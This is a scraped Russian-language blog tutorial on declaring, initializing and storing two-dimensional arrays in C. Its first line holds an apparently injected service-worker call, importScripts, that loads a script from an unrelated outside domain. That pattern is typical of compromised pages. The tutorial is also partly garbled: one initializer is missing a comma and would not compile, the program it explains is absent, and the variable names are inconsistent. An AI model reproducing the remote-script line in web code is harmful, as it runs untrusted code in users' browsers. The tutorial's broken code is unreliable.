google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Массивы в Си (2D Array) - часть 5

До сих пор я говорил вам о одномерных массивах, но сегодня я расскажу о двухмерных массивах или двумерных массивах в c. Массив - это набор элементов со схожим типом данных. Мы можем сделать массивы с любым измерением. Однако программисты редко выходят за рамки 3D-массивов. Я также дам вам обзор 3D-массивов в последующих уроках. Но сегодня давайте кратко обсудим двумерные массивы.

2D массивы в C

Как следует из названия, 2D-массивы - это массивы, имеющие 2 измерения. Эти два измерения обычно называют строками и столбцами. 2D массивы также называют матричными.

Декларация 2D Array

Двумерный массив может быть объявлен следующим образом.
int a [3] [3];
Это 2D массив с 3 строками и 3 столбцами. Всего элементов в массиве 9 (3 × 3).

Инициализация 2D массива

Подобно 1D-массивам, 2D-массив также может быть инициализирован во время его объявления. Ниже приведены некоторые из методов инициализации, которые используются очень часто.
int num [3] [2] = { 
{43,56}, 
{56,54}, 
{65,98} 
};
Это один из самых простых способов инициализации 2D-массива.
int num [3] [2] = {43, 56, 56, 54, 65, 98};
Этот метод также будет работать, но он также уменьшит читабельность массива.
int arr [] [3] = {12, 34, 23, 45, 56, 45}; 
int num [] [2] = { 
{43,56}, 
{56,54}, 
{65,98} 
{87,86} 
};
Необязательно указывать размер строки двумерного массива, если мы его инициализируем. Помните, что указание размера столбца всегда обязательно.
Давайте возьмем одну простую программу, чтобы понять 2D массив в C.
Выход
Массивы в Си (2D Array) - часть 5
Пояснение
1. В первом утверждении я объявил 2D-массив с именем student. Помните, что 2D-массив также хранит элементы с индексом 00. Элементы будут сохранены таким образом.
00 01 
10 11 
20 21 
И так далее.
2. Теперь, используя два цикла for, я сохранил значения внутри 2D-массива и отобразил их на экране.
3. Внимательно рассмотрите функции printf () и scanf () с аргументами «& stud [x] [0], & student [x] [1]». Мы храним и получаем доступ к значениям в двумерном массиве построчно. Мы также можем хранить значения и обращаться к ним по столбцам.

Распределение памяти 2D массива

2D-массивы также хранят свои значения, аналогичные 1D-массивам. Они также хранят элементы в смежных местах памяти.
Элементы первого ряда будут сохранены первыми, после чего будут сохранены элементы второго ряда. Эта процедура будет продолжаться до конца элементов массива. Ниже приведено распределение памяти двумерного целочисленного массива s [4] [2].
Распределение памяти 2D массивов

Комментариев нет:

Отправить комментарий